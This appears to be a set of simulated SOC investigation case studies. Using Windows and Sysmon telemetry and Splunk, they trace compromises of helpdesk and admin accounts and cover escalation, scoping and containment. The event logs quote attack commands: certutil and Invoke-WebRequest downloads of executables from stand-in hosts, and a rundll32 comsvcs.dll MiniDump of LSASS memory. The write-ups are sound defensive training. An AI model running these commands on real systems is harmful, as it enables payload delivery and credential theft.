Defense Evasion
      ↓
File Server Access
      ↓
Sensitive Data Access
      ↓
Archive Creation
      ↓
Potential Exfiltration

5. Scope must be precise

A system can be:

• Confirmed compromised
• Potentially compromised
• Affected by unauthorized activity

These classifications should not be treated as interchangeable.

Conclusion

This investigation was designed to simulate a realistic SOC scenario where the initial stage of an attack is missing from the available telemetry.

The investigation began with activity that could potentially be legitimate but gradually escalated into a clear compromise involving:

• Active Directory reconnaissance
• Remote PowerShell
• External payload delivery
• Malware execution
• Command-and-control communication
• LSASS credential dumping
• Defense evasion
• File server access
• Sensitive payroll data access
• Archive creation
• Potential data exfiltration

The most important lesson from this exercise was not simply identifying malicious commands.

It was learning to build an evidence-based attack narrative while clearly separating confirmed facts from investigative hypotheses.

That is a core skill in practical SOC analysis.

Skills Demonstrated

• Splunk SIEM investigation
• Windows Event Log analysis
• PowerShell 4104 analysis
• Process-chain reconstruction
• Logon investigation
• Kerberos telemetry analysis
• Sysmon analysis
• Credential-access detection
• Lateral movement investigation
• Data-access investigation
• Incident classification
• Scope assessment
• Containment planning
• Threat hunting
• Evidence-based incident reporting

Author

Precious Anyanwu

GitHub

Investigation Objective

This exercise simulates a potential compromise involving a privileged IT administrator account and multiple Windows systems.

The objective was to determine where legitimate administrative activity transitioned into suspicious behavior, identify the point at which the activity became a confirmed security incident, reconstruct the attack chain, and determine the appropriate SOC response.

The investigation focused on:

• Windows authentication telemetry
• PowerShell Script Block Logging
• Active Directory reconnaissance
• Kerberos service-ticket activity
• Remote administration and lateral movement
• Suspicious outbound network connections
• LOLBin abuse through certutil.exe
• Malicious file creation and execution
• Splunk investigation and telemetry correlation

Environment

CLIENT20
User workstation
      |
      | ITAdmin01
      ↓
CLIENT21
Administrative workstation
      |
      ↓
DC01
Domain Controller
      |
      ↓
FILESERVER01
Finance File Server

Telemetry Under Investigation

The following telemetry represents the complete sequence available to the SOC analyst.

Event 1 — 09:17:03 — CLIENT20

4624

Account: ITAdmin01
Logon Type: 2

Interactive logon by the administrative account.

Event 2 — 09:17:11 — CLIENT20

4688

mmc.exe

Command:
compmgmt.msc

The administrator opens Computer Management.

At this stage, the activity can reasonably be considered legitimate administrative behavior.

Event 3 — 09:18:04 — CLIENT20

4104

Get-Service

PowerShell enumerates services.

Event 4 — 09:18:19 — CLIENT20

4104

Get-Process

PowerShell enumerates running processes.

These commands are not inherently malicious and can commonly occur during system administration or troubleshooting.

Event 5 — 09:19:02 — CLIENT20

4104

Get-ADComputer -Filter *

The account begins broad Active Directory computer discovery.

Event 6 — 09:19:21 — CLIENT20

4104

Get-ADGroupMember "Domain Admins"

The account specifically queries membership of the highly privileged Domain Admins group.

This substantially increases the level of suspicion.

Event 7 — 09:20:07 — DC01

4769

Service:
cifs/CLIENT21

Account:
ITAdmin01

A Kerberos service-ticket request is generated for access to CLIENT21.

Given the preceding reconnaissance, this is significant because CLIENT21 appears to have become a target following the discovery activity.

Event 8 — 09:20:15 — CLIENT21

4624

Account: ITAdmin01
Logon Type: 3

Source:
CLIENT20

ITAdmin01 authenticates to CLIENT21 over the network from CLIENT20.

Event 9 — 09:20:31 — CLIENT21

4688

powershell.exe

Command:
Get-ChildItem C:\Users

PowerShell begins further discovery on CLIENT21.

Event 10 — 09:21:04 — CLIENT21

4104

Get-LocalGroupMember Administrators

The account investigates local administrator membership on CLIENT21.

Event 11 — 09:21:47 — CLIENT21

Sysmon Event 3

powershell.exe
        ↓
10.10.10.50:443

PowerShell establishes an outbound HTTPS connection.

By itself, an outbound connection over TCP/443 is not sufficient to establish maliciousness. However, its position immediately after administrative and privilege reconnaissance makes it highly relevant.

Event 12 — 09:22:02 — CLIENT21

4688

certutil.exe

Command:

-urlcache -split -f
https://updates-example.com/patch.exe
C:\ProgramData\patch.exe

This is a major escalation point.

certutil.exe is a legitimate Windows utility, but its ability to retrieve files can be abused by attackers as a Living-off-the-Land Binary (LOLBin).

The command downloads an executable directly into:

C:\ProgramData\patch.exe

Event 13 — 09:22:18 — CLIENT21

Sysmon Event 11

File Created

C:\ProgramData\patch.exe

The suspicious executable is confirmed to have been written to disk.

Event 14 — 09:22:46 — CLIENT21

4688

patch.exe

The downloaded executable is executed.

This provides substantially stronger evidence of compromise than the preceding download alone.

Event 15 — 09:23:12 — CLIENT21

Sysmon Event 3

patch.exe
        ↓
10.10.10.50:443

The newly executed executable establishes an outbound connection to the same external destination.

The sequence now resembles:

PowerShell
    ↓
External connection
    ↓
certutil.exe
    ↓
Download executable
    ↓
patch.exe created
    ↓
patch.exe executed
    ↓
Outbound network connection

This is highly consistent with malicious execution and potential command-and-control or payload communication.

1. Where Does Legitimate Activity End?

My initial assessment is that the first clearly suspicious phase begins with:

Get-ADComputer -Filter *

followed shortly by:

Get-ADGroupMember "Domain Admins"

However, I would not automatically classify Get-Service or Get-Process as malicious.

Both are common administrative commands.

The important distinction is context.

A privileged IT administrator performing:

Get-Service
Get-Process

could simply be troubleshooting a workstation.

The behavior becomes considerably more concerning when the same account progresses into:

AD computer enumeration
        ↓
Domain Admin enumeration
        ↓
Kerberos access to CLIENT21
        ↓
Remote authentication
        ↓
Further privilege discovery

Therefore, I would describe the transition as:

Legitimate administrative activity → suspicious reconnaissance → confirmed malicious execution.

2. First Point of Suspicion

My first strong point of suspicion is:

09:19:21
Get-ADGroupMember "Domain Admins"

This command is not inherently malicious. Administrators may legitimately query privileged groups.

However, the context makes it significant.

The account had just performed broad computer discovery:

Get-ADComputer -Filter *

and immediately followed it with:

Get-ADGroupMember "Domain Admins"

This combination suggests the account may be attempting to understand:

1. What systems exist?
2. Which accounts have high privileges?
3. Which targets may provide greater access?

The subsequent Kerberos request for:

cifs/CLIENT21

and network authentication from CLIENT20 to CLIENT21 strengthens that hypothesis.

3. When Does This Become an Incident?

The certutil.exe download at:

09:22:02

is a major escalation point and would warrant immediate investigation and likely incident escalation.

However, the strongest point for declaring a confirmed security incident is:

09:22:46

patch.exe

At this point, the suspicious executable has:

1. Been downloaded
2. Been written to disk
3. Been executed

The subsequent network connection from patch.exe to:

10.10.10.50:443

further strengthens the conclusion.

Therefore:

I would move from suspicious investigation to confirmed incident once patch.exe executes, supported by the preceding download and subsequent network communication.

4. Primary Affected Host

CLIENT21

CLIENT21 is the primary affected host.

The attack progression on this system is:

ITAdmin01
     ↓
Network authentication
     ↓
PowerShell discovery
     ↓
Local administrator enumeration
     ↓
Outbound connection
     ↓
certutil download
     ↓
patch.exe created
     ↓
patch.exe executed
     ↓
Outbound communication

CLIENT20 should also remain in scope because it is the initial workstation associated with the suspicious administrative activity.

The ITAdmin01 account is also considered compromised or potentially compromised until its legitimacy can be established.

5. Initial Splunk Investigation

My first investigation would pivot around the affected account:

ITAdmin01

I would establish where and when the account authenticated before and after the observed sequence.

For example:

index=wineventlog Account_Name="ITAdmin01"
| table _time host EventCode Account_Name Logon_Type Source_Network_Address Process_Name CommandLine
| sort _time

The objective is to establish:

• Which systems ITAdmin01 accessed
• When those accesses occurred
• Where the account originated
• Whether CLIENT20 was the normal source
• Whether other systems were accessed
• Whether suspicious activity occurred outside the observed window

6. LogonGUID Pivot

Once the relevant 4624 authentication event is identified, I would pivot using the associated LogonGUID.

The purpose is to determine what activity occurred within the relevant authentication context.

Conceptually:

4624
  ↓
LogonGUID
  ↓
Process creation
  ↓
PowerShell
  ↓
Network activity

This helps separate activity associated with the relevant user session from unrelated events occurring on the same host.

7. ProcessGUID Pivot

Where Sysmon telemetry is available, I would also use ProcessGUID.

This answers a different question.

LogonGUID

Helps establish:

Which activity belongs to this authentication/session?

ProcessGUID

Helps establish:

Which process generated or spawned this activity?

For example:

powershell.exe
      ↓
ProcessGUID
      ↓
child process
      ↓
network activity

Using both pivots provides stronger correlation than relying on either identifier alone.

8. Additional Telemetry

After confirming the suspicious execution, I would immediately expand the investigation.

Authentication — 4624 / 4625

I would determine:

• Where ITAdmin01 authenticated
• Whether there were failed logons
• Whether authentication originated from unusual systems
• Whether other accounts were used from CLIENT20 or CLIENT21

Privileged Logon — 4672

I would determine whether the account received special privileges during the relevant session.

This helps establish the potential impact of the compromised administrative account.

PowerShell — 4104

I would investigate the complete PowerShell activity before and after the download.

I would specifically look for:

Invoke-WebRequest
IEX
DownloadString
Encoded commands
Obfuscation
Credential access
Persistence

Process Creation — 4688 / Sysmon Event 1

I would reconstruct the complete process tree surrounding:

certutil.exe
patch.exe
powershell.exe

The objective is to establish parent-child relationships and identify additional processes that may have executed.

Network Telemetry — Sysmon Event 3

I would investigate:

10.10.10.50:443

and determine:

• Which process connected to it
• When communication began
• Whether communication continued
• Whether other systems contacted the same destination

DNS — Sysmon Event 22

If DNS telemetry is available, I would determine what hostname resolves to the destination and whether the domain has appeared elsewhere in the environment.

File Creation — Sysmon Event 11

I would investigate:

C:\ProgramData\patch.exe

including:

• File hash
• Creation time
• Parent process
• Digital signature
• File metadata
• Whether similar files exist elsewhere

Persistence

I would investigate whether the attacker attempted to maintain access through:

• Scheduled tasks
• Services
• Registry Run keys
• WMI
• Startup folders
• Other autorun mechanisms

9. Containment

My first containment priority would be:

Isolate CLIENT21

CLIENT21 has the strongest evidence of active compromise because the malicious executable has been downloaded and executed.

Isolation would prevent:

• Further command-and-control communication
• Additional payload retrieval
• Lateral movement
• Credential theft
• Further compromise of internal systems

I would avoid simply shutting the system down if forensic preservation is required, because volatile evidence may be valuable.

Disable or Restrict ITAdmin01

I would temporarily disable or restrict the account, subject to the organization’s incident-response procedures.

I would also:

• Revoke active sessions
• Reset credentials
• Invalidate authentication tokens where applicable
• Investigate credential exposure
• Review where the account authenticated

Because ITAdmin01 is an administrative account, its compromise could significantly expand the potential scope of the incident.

10. Why CLIENT20 Also Matters

CLIENT20 should not simply be treated as the harmless starting point.

It is the system where:

ITAdmin01
      ↓
PowerShell
      ↓
AD reconnaissance
      ↓
CLIENT21 targeting

began.

I would therefore investigate CLIENT20 for:

• Initial access
• Malware execution
• Suspicious PowerShell
• Credential theft
• Persistence
• Unusual logons
• External connections
• Evidence of attacker-controlled activity

The investigation should determine whether CLIENT20 was the original compromised host or merely the workstation used by a legitimate administrator.

11. Attack Chain Reconstruction

Based on the available telemetry, the likely sequence is:

ITAdmin01 logs onto CLIENT20
             ↓
      PowerShell execution
             ↓
      System discovery
             ↓
   AD computer enumeration
             ↓
 Domain Admin enumeration
             ↓
   CLIENT21 identified
             ↓
 Kerberos ticket request
             ↓
 CLIENT20 → CLIENT21
   network authentication
             ↓
      PowerShell discovery
             ↓
 Local administrator enumeration
             ↓
   External network connection
             ↓
       certutil.exe
             ↓
 Download patch.exe
             ↓
 patch.exe written to disk
             ↓
    patch.exe executed
             ↓
 patch.exe → 10.10.10.50:443
             ↓
 Potential C2 / payload communication

This represents a progression from reconnaissance → targeting → remote access → payload delivery → execution → network communication.

12. MITRE ATT&CK Relevance

Several behaviors in this investigation map naturally to MITRE ATT&CK techniques.

The exact ATT&CK mapping would depend on additional telemetry and confirmed attacker objectives.

13. Detection Opportunities

This investigation demonstrates several opportunities for SIEM detection engineering.

A useful detection strategy would not alert simply because:

Get-ADComputer -Filter *

was executed.

Instead, higher fidelity could come from correlating multiple behaviors:

Privileged account
        +
AD reconnaissance
        +
Remote authentication
        +
Suspicious PowerShell
        +
External network connection
        +
LOLBin download
        +
Executable creation
        +
Executable execution

The combination is significantly more suspicious than any individual event.

14. Key SOC Lesson

The most important lesson from this exercise is that context matters more than individual events.

For example:

Get-Process

is normal.

Get-ADComputer -Filter *

can be legitimate.

Get-ADGroupMember "Domain Admins"

can also be legitimate.

certutil.exe

is a legitimate Windows utility.

HTTPS traffic on port 443 is normal.

But when these behaviors occur sequentially:

Discovery
   ↓
Privileged target identification
   ↓
Remote access
   ↓
Payload download
   ↓
Executable creation
   ↓
Execution
   ↓
External communication

the combined evidence tells a very different story.

This is the type of contextual reasoning required during real SOC investigations.

Conclusion

This exercise reinforced the importance of distinguishing legitimate administrative activity from malicious behavior occurring through legitimate tools.

The investigation began with an administrative account performing activity that could initially appear normal. Contextual analysis revealed increasingly suspicious Active Directory reconnaissance, remote access to an administrative workstation, LOLBin-based payload delivery, executable creation, execution, and subsequent outbound communication.

The strongest evidence of compromise occurred when:

certutil.exe
      ↓
patch.exe
      ↓
execution
      ↓
external communication

was observed on CLIENT21.

The investigation therefore demonstrates a complete SOC workflow:

Observe
   ↓
Establish baseline
   ↓
Identify anomaly
   ↓
Correlate telemetry
   ↓
Reconstruct attack chain
   ↓
Confirm compromise
   ↓
Scope affected assets
   ↓
Contain
   ↓
Investigate and recover

The exercise strengthened my practical understanding of Windows telemetry, Splunk investigation, PowerShell analysis, Active Directory reconnaissance, LOLBin abuse, process correlation, and incident-response decision making.

Author

Precious Ifeanyi Anyanwu

GitHub | LinkedIn

Key Skills Demonstrated

Splunk Windows Event Logs PowerShell Sysmon Threat Hunting Incident Response Active Directory MITRE ATT&CK Process Correlation SIEM Detection

Mixed-Telemetry Investigation: Distinguishing Legitimate Administration from Active Compromise

Overview

This investigation was designed to simulate a realistic SOC scenario where legitimate administrative activity transitions into malicious behavior.

The challenge was not simply to identify suspicious commands. The objective was to determine:

• Where legitimate administration ended
• When suspicious behavior became evidence of compromise
• How to reconstruct the attack chain
• Which systems became affected
• How multiple Windows telemetry sources could be correlated
• How a SOC analyst should prioritize investigation and escalation

The investigation involved activity across:

CLIENT12
    ↓
CLIENT15
    ↓
DC01
    ↓
FILESERVER01

The primary telemetry sources included:

• Windows Security Events
• Windows PowerShell Script Block Logging
• Sysmon
• Process creation events
• Authentication events
• Kerberos service-ticket events
• File access events
• Network connection telemetry

1. Investigation Telemetry

Before analyzing the incident, the following telemetry was provided.

This is the complete event sequence used for the investigation.

08:02:11  CLIENT12
4624
Account: HelpDesk01
Logon Type: 2


08:02:19  CLIENT12
4688
powershell.exe
Parent: explorer.exe
Command:
Get-Service


08:02:31  CLIENT12
4104
Get-Process


08:03:04  CLIENT12
4104
Get-ADComputer -Filter *


08:03:16  DC01
4769
Account: HelpDesk01
Service:
ldap/DC01


08:03:24  CLIENT12
4688
powershell.exe
Command:
Enter-PSSession -ComputerName CLIENT15


08:03:31  CLIENT15
4624
Account: HelpDesk01
Logon Type: 3
Source: CLIENT12


08:03:35  CLIENT15
4688
wsmprovhost.exe
Parent: svchost.exe


08:03:42  CLIENT15
4104
Get-Service


08:04:02  CLIENT15
4104
Get-Process


08:04:17  CLIENT15
4688
powershell.exe
Command:
Get-ChildItem C:\Users


08:04:38  CLIENT15
4104
Get-LocalUser


08:05:01  CLIENT15
4688
powershell.exe
Command:
Get-ADGroupMember "Domain Admins"


08:05:17  CLIENT15
Sysmon 3
powershell.exe
→ 185.220.101.44
Port: 443


08:05:23  CLIENT15
4104
Invoke-WebRequest
https://cdn-storage.xyz/update.exe


08:05:29  CLIENT15
Sysmon 11
File Created
C:\ProgramData\update.exe


08:05:41  CLIENT15
4688
update.exe
Parent: powershell.exe


08:05:48  CLIENT15
Sysmon 3
update.exe
→ 185.220.101.44
Port: 443


08:06:12  CLIENT15
4688
rundll32.exe
Command:
comsvcs.dll, MiniDump 612 C:\ProgramData\lsass.dmp full


08:06:18  CLIENT15
Sysmon 11
File Created
C:\ProgramData\lsass.dmp


08:06:29  CLIENT15
4688
powershell.exe
Command:
Remove-Item C:\ProgramData\lsass.dmp


08:06:35  CLIENT15
4104
Remove-Item C:\ProgramData\lsass.dmp


08:07:02  DC01
4769
Account: HelpDesk01
Service:
cifs/FILESERVER01


08:07:15  FILESERVER01
4624
Account: HelpDesk01
Logon Type: 3
Source: CLIENT15


08:07:29  FILESERVER01
4663
Object:
\\FILESERVER01\Finance\Payroll2026.xlsx

Access:
ReadData

2. Investigation Objective

The central question was:

At what point does apparently legitimate administration become an active compromise?

The presence of a helpdesk account makes the investigation particularly interesting.

A helpdesk administrator may legitimately:

• Log onto workstations
• Use PowerShell
• Query Active Directory
• Enumerate services and processes
• Establish PowerShell Remoting sessions
• Troubleshoot another endpoint

Therefore, individual events cannot automatically be classified as malicious.

The investigation must consider the sequence, context, account, destination, process behavior, network activity and subsequent actions.

3. Initial Assessment

The activity initially appears consistent with legitimate helpdesk administration.

The sequence begins with:

HelpDesk01
    ↓
CLIENT12
    ↓
PowerShell
    ↓
Get-Service
    ↓
Get-Process
    ↓
Active Directory discovery
    ↓
PowerShell Remoting
    ↓
CLIENT15

At this stage, there is not enough evidence to declare an incident.

A helpdesk technician troubleshooting CLIENT15 could reasonably perform some of these actions.

4. Where Does Legitimate Activity End?

The last event I would initially consider potentially legitimate is:

08:04:02
CLIENT15
4104
Get-Process

Both:

Get-Service
Get-Process

are common administrative and troubleshooting commands.

Even:

Get-ChildItem C:\Users
Get-LocalUser

can have legitimate administrative purposes depending on the troubleshooting task.

However, the investigation becomes increasingly suspicious as the activity progresses.

5. First Strong Point of Suspicion

The first strong indicator of suspicious activity is:

08:05:01
CLIENT15
4688

powershell.exe

Get-ADGroupMember "Domain Admins"

This command is not inherently malicious.

However, its context is concerning.

The account is:

HelpDesk01

The account has:

1. Logged onto CLIENT12
2. Performed host and process discovery
3. Queried Active Directory
4. Established a remote PowerShell session to CLIENT15
5. Performed additional local enumeration
6. Queried membership of the highly privileged Domain Admins group

The combination creates a strong behavioral signal.

Classification at this point:

Suspicious

I would increase monitoring and continue investigation rather than immediately declaring an incident.

The evidence has not yet demonstrated malicious execution or confirmed compromise.

6. Why the Context Matters

A SOC analyst should avoid making decisions based on a single command.

For example:

Get-ADGroupMember "Domain Admins"

could be legitimate if a helpdesk technician is:

• Troubleshooting permissions
• Investigating an access issue
• Supporting an identity-related ticket
• Performing authorized administration

However, the same command becomes much more concerning when followed by:

External network connection
        ↓
PowerShell download
        ↓
Executable creation
        ↓
Executable execution
        ↓
LSASS memory dumping
        ↓
File deletion
        ↓
Sensitive file access

This is where behavioral correlation becomes critical.

7. Escalation of Suspicion

At:

08:05:17

CLIENT15

Sysmon Event 3

powershell.exe
→ 185.220.101.44
Port 443

the investigation becomes significantly more concerning.

An unexpected outbound HTTPS connection from PowerShell following privileged Active Directory enumeration warrants investigation.

However, I would not rely on the IP address alone to declare malicious activity.

The next events provide much stronger evidence.

8. PowerShell Download Activity

At:

08:05:23

CLIENT15
4104

Invoke-WebRequest
https://cdn-storage.xyz/update.exe

PowerShell is explicitly being used to retrieve an executable from an external location.

This is a major escalation.

The activity is immediately followed by:

08:05:29

Sysmon Event 11

File Created

C:\ProgramData\update.exe

and then:

08:05:41

4688

update.exe
Parent:
powershell.exe

This creates a highly suspicious execution chain:

PowerShell
    ↓
Invoke-WebRequest
    ↓
External executable download
    ↓
update.exe created
    ↓
update.exe executed

At this point, I would escalate the investigation substantially.

9. Process and Network Correlation

The downloaded executable subsequently communicates with the same external destination:

08:05:48

Sysmon Event 3

update.exe
→ 185.220.101.44
Port 443

This provides stronger evidence that the downloaded executable is actively communicating externally.

The sequence can now be represented as:

CLIENT15
    │
    ├── powershell.exe
    │       │
    │       ├── Invoke-WebRequest
    │       │
    │       └── Downloads update.exe
    │
    └── update.exe
            │
            └── HTTPS → 185.220.101.44

This is no longer simply an administrative investigation.

The behavior is consistent with malicious execution and possible command-and-control or external staging activity.

10. Confirmed Credential Access

The strongest evidence of compromise appears at:

08:06:12

CLIENT15
4688

rundll32.exe

comsvcs.dll, MiniDump 612
C:\ProgramData\lsass.dmp full

The command is attempting to dump LSASS memory.

LSASS contains authentication-related material, making LSASS memory dumping a high-value credential-access technique.

The activity is followed by:

08:06:18

Sysmon Event 11

File Created

C:\ProgramData\lsass.dmp

This confirms that the memory dump file was created.

At this point, the classification should be:

INCIDENT

The investigation now contains multiple independent indicators of compromise:

• Suspicious Active Directory enumeration
• External PowerShell communication
• Download of an executable
• Execution of the downloaded executable
• External communication from the executable
• LSASS memory dumping
• Evidence removal

This is sufficient to treat the activity as an active security incident.

11. Evidence Removal

The attacker subsequently executes:

08:06:29

4688

powershell.exe

Remove-Item C:\ProgramData\lsass.dmp

PowerShell logging confirms:

08:06:35

4104

Remove-Item C:\ProgramData\lsass.dmp

This indicates an attempt to remove evidence of credential-access activity.

The deletion itself does not erase the fact that the activity occurred because the organization may still have:

• Windows event logs
• Sysmon telemetry
• SIEM copies
• EDR telemetry
• File-system artifacts
• Network logs
• Authentication records

This reinforces the importance of centralized logging.

12. Access to FILESERVER01

The attacker then requests a Kerberos service ticket:

08:07:02

DC01
4769

Account:
HelpDesk01

Service:
cifs/FILESERVER01

This is followed by:

08:07:15

FILESERVER01
4624

Account:
HelpDesk01

Logon Type:
3

Source:
CLIENT15

The source has now changed:

CLIENT12
    ↓
CLIENT15
    ↓
FILESERVER01

The account is being used to authenticate to another system after the compromise of CLIENT15.

13. Sensitive File Access

The final event shows:

08:07:29

FILESERVER01
4663

Object:
\\FILESERVER01\Finance\Payroll2026.xlsx

Access:
ReadData

The investigation therefore ends with access to a potentially sensitive financial/payroll document.

This expands the potential impact beyond endpoint compromise.

14. Reconstructed Attack Chain

The complete investigation can now be reconstructed as:

HelpDesk01
     │
     ▼
CLIENT12
     │
     ├── Interactive logon
     ├── PowerShell
     ├── Get-Service
     ├── Get-Process
     └── AD discovery
             │
             ▼
     Enter-PSSession CLIENT15
             │
             ▼
        CLIENT15
             │
             ├── Local discovery
             ├── Domain Admin enumeration
             │
             ├── PowerShell
             │      ↓
             │  Invoke-WebRequest
             │      ↓
             │  update.exe
             │
             ├── update.exe execution
             │      ↓
             │  External HTTPS communication
             │
             ├── LSASS memory dump
             │      ↓
             │  lsass.dmp
             │
             ├── Delete lsass.dmp
             │
             ▼
        FILESERVER01
             │
             └── Payroll2026.xlsx
                 ReadData

15. MITRE ATT&CK Mapping

The observed activity maps to several MITRE ATT&CK techniques.

The exact ATT&CK mapping should be validated against the organization’s detection framework and the precise behavior observed.

16. First Splunk Investigation

My initial investigation would establish the broader activity surrounding CLIENT12 before narrowing into individual events.

For example:

index=wineventlog host=CLIENT12 earliest=-2h latest=+2h
| table _time EventCode Account_Name Logon_ID LogonGuid ProcessGuid ParentImage Image Process_Command_Line
| sort _time

The objective is to determine:

• What happened before the first visible event?
• Was CLIENT12 already compromised?
• Was HelpDesk01 legitimately using the workstation?
• Were there earlier suspicious processes?
• Did another account interact with the machine?

17. Investigation Pivots

I would perform the pivots in approximately this order.

Pivot 1 — Account

Start with:

HelpDesk01

Determine:

• Where else did the account authenticate?
• Was it active on other endpoints?
• Were there unusual logon locations?
• Did the account suddenly become active outside normal patterns?

Pivot 2 — LogonGUID

Use the relevant authentication context to follow activity associated with the session.

This helps connect authentication events with subsequent activity associated with the same logon context.

Pivot 3 — ProcessGUID

Use ProcessGUID where available to reconstruct process lineage.

For example:

powershell.exe
      ↓
update.exe
      ↓
network connection

This helps establish whether processes belong to the same execution chain.

Pivot 4 — Source and Destination Hosts

Track:

CLIENT12 → CLIENT15 → FILESERVER01

This is critical because the investigation crosses multiple systems.

18. Additional Telemetry Required

I would collect additional telemetry from:

CLIENT12

To determine whether initial compromise occurred before the visible timeline.

Look for:

• Process creation
• PowerShell activity
• Authentication events
• Persistence mechanisms
• Network connections
• File creation

CLIENT15

This is the primary compromised endpoint.

I would collect:

• Sysmon Event ID 1
• Sysmon Event ID 3
• Sysmon Event ID 11
• PowerShell 4104
• Security 4688
• Authentication events
• Persistence mechanisms
• EDR alerts
• DNS activity

DC01

I would investigate:

• 4768
• 4769
• 4624
• 4625
• Directory-service activity
• Authentication anomalies

The objective is to determine whether the compromised credentials were used elsewhere.

FILESERVER01

I would investigate:

• 4624
• 4663
• Additional file access events
• SMB activity
• Other files accessed by HelpDesk01
• Subsequent file modifications or transfers

19. Scope Assessment

CLIENT12

In scope for investigation.

CLIENT12 is the initial workstation in the visible sequence and may have been the source of the remote session.

However, the provided telemetry does not independently prove that CLIENT12 was infected.

Further investigation is required.

CLIENT15

Confirmed affected.

Evidence includes:

• Suspicious PowerShell activity
• External executable download
• Executable execution
• External network communication
• LSASS memory dumping
• Evidence removal

CLIENT15 should be treated as the primary compromised endpoint.

FILESERVER01

Affected / potentially impacted.

The compromised activity resulted in:

• Authentication to FILESERVER01
• Access to a payroll document

The scope of additional file access must be investigated.

DC01

Involved in authentication.

The provided telemetry shows DC01 issuing Kerberos service tickets.

This does not by itself demonstrate compromise of DC01, but authentication activity involving the compromised account should be investigated.

20. Incident Severity

Based on the available evidence, I would treat this as a high-severity security incident.

The combination of:

Active Directory reconnaissance
        +
Remote PowerShell
        +
External payload download
        +
Payload execution
        +
External communication
        +
LSASS credential dumping
        +
Evidence removal
        +
Sensitive file access

indicates a progression from reconnaissance to execution, credential access, defense evasion and collection.

The potential exposure of payroll information further increases the business impact.

21. Immediate SOC Response

The first priority would be containment.

1. Isolate CLIENT15

CLIENT15 is the confirmed compromised endpoint.

2. Investigate and potentially isolate CLIENT12

CLIENT12 should be investigated for initial access or credential compromise before assuming it is clean.

3. Disable or restrict HelpDesk01

The account should be investigated and, where appropriate, disabled or have its active sessions and credentials revoked.

4. Protect FILESERVER01

Review and restrict the compromised account’s access while determining the extent of file access.

5. Preserve evidence

Do not rely solely on deleting or cleaning the endpoint.

Preserve:

• SIEM telemetry
• EDR telemetry
• Memory where appropriate
• Disk artifacts
• Network logs
• Authentication logs

6. Investigate credential exposure

Because LSASS was dumped, credentials associated with the affected system should be considered potentially compromised.

22. Key SOC Lessons

This investigation demonstrates why SOC analysts should avoid relying on isolated alerts.

At the beginning of the timeline:

PowerShell
Get-Service
Get-Process
Enter-PSSession

could all have legitimate administrative explanations.

The investigation changed when the behavior became chained:

AD reconnaissance
       ↓
Domain Admin enumeration
       ↓
External PowerShell communication
       ↓
Executable download
       ↓
Payload execution
       ↓
LSASS dumping
       ↓
Evidence removal
       ↓
Sensitive file access

The sequence provided much stronger evidence than any single event.

23. Key Takeaways

This exercise reinforced several SOC investigation principles:

Context matters

A helpdesk account performing PowerShell activity is not automatically malicious.

Sequence matters

Multiple individually explainable events can become highly suspicious when chained together.

Correlation matters

Account, host, process, authentication and network telemetry should be investigated together.

Process lineage matters

ProcessGUID and parent-child relationships can help reconstruct execution.

Credential dumping changes the incident

An LSASS memory dump is a major escalation point because credentials may be exposed.

Evidence removal does not erase telemetry

Centralized SIEM logging can preserve evidence even when an attacker deletes local files.

Scope must be evidence-based

A machine can be in scope for investigation without being definitively classified as compromised.

Conclusion

This mixed-telemetry investigation simulated a realistic SOC scenario in which legitimate administrative behavior gradually transitioned into an active compromise.

The most important lesson was not simply recognizing malicious commands. It was learning to determine when the behavioral context changed.

The investigation progressed from:

Potentially legitimate administration
              ↓
Suspicious reconnaissance
              ↓
Malware staging
              ↓
Malicious execution
              ↓
Credential access
              ↓
Defense evasion
              ↓
Sensitive data access

By correlating Windows authentication, PowerShell, Sysmon, process creation, network and file-access telemetry, the investigation could be reconstructed as a coherent attack chain rather than a collection of isolated alerts.

This exercise represents the type of analytical workflow I am continuing to develop as I progress toward SOC analyst responsibilities.

Skills Practiced

• Splunk SIEM investigation
• Windows event analysis
• PowerShell telemetry analysis
• Sysmon analysis
• Process-tree reconstruction
• Authentication analysis
• Kerberos telemetry analysis
• Threat hunting
• Attack-chain reconstruction
• Incident classification
• Scope assessment
• MITRE ATT&CK mapping
• SOC escalation and containment reasoning

Author: Precious Anyanwu Focus: SOC Analysis | Incident Response | Splunk | Cloud Security

Investigating Suspicious Active Directory Enumeration and Remote PowerShell Administration

Overview

This case study documents a simulated SOC investigation involving a legitimate-looking helpdesk account, HelpDesk01, performing Active Directory enumeration followed by remote PowerShell administration of another workstation.

The investigation was designed to answer an important SOC question:

When does legitimate administrative activity become suspicious enough to investigate as potential attacker behaviour?

Rather than treating individual events as malicious in isolation, the investigation focused on correlating authentication, process creation, PowerShell, Kerberos, WinRM and network telemetry to determine whether the activity represented legitimate helpdesk administration or potential account compromise.

Investigation Scenario

The investigation began with activity observed on CLIENT14.

Initial Event Sequence

09:14:02  CLIENT14
4624
Account: HelpDesk01
Logon Type: 2

HelpDesk01 successfully authenticated interactively to CLIENT14.

09:14:09  CLIENT14
4688

explorer.exe
    └── mmc.exe

A Microsoft Management Console process was launched.

09:14:15  CLIENT14
4688

mmc.exe
    └── powershell.exe

PowerShell was then launched from MMC.

The investigation subsequently identified PowerShell Script Block Logging activity:

09:14:21  CLIENT14
4104

Get-ADComputer -Filter *

09:14:29  CLIENT14
4104

Get-ADUser -Filter *

09:14:41  CLIENT14
4104

Get-ADGroupMember "Domain Admins"

The activity then progressed to the Domain Controller:

09:15:02  DC01
4769

Account: HelpDesk01
Service: ldap/DC01

09:15:08  DC01
4769

Account: HelpDesk01
Service: cifs/CLIENT14

Additional local enumeration was observed:

09:15:14  CLIENT14
4688

cmd.exe

net localgroup administrators

followed by:

09:15:32  CLIENT14
4688

powershell.exe

Get-Service

Network telemetry then showed:

09:16:01  CLIENT14
Sysmon Event ID 3

powershell.exe
    ↓
10.0.0.10:5985

Port 5985 is commonly associated with Windows Remote Management (WinRM).

Shortly afterwards:

09:16:07  CLIENT14
4688

powershell.exe

Enter-PSSession -ComputerName CLIENT15

The remote session resulted in:

09:16:19  CLIENT15
4624

Account: HelpDesk01
Logon Type: 3
Source: CLIENT14

The remote PowerShell session then generated:

09:16:24  CLIENT15
4688

wsmprovhost.exe
Parent: svchost.exe

and:

09:16:31  CLIENT15
4104

Get-Process

09:16:42  CLIENT15
4104

Get-Service

1. First Point of Suspicion

Event:

09:14:41
CLIENT14
4104

Get-ADGroupMember "Domain Admins"

This is the first event that would make me pause and begin active investigation.

The command itself is not malicious. Administrators and helpdesk personnel may legitimately query Active Directory.

However, the context increases suspicion.

The sequence was:

HelpDesk01
     ↓
PowerShell
     ↓
Get-ADComputer -Filter *
     ↓
Get-ADUser -Filter *
     ↓
Get-ADGroupMember "Domain Admins"

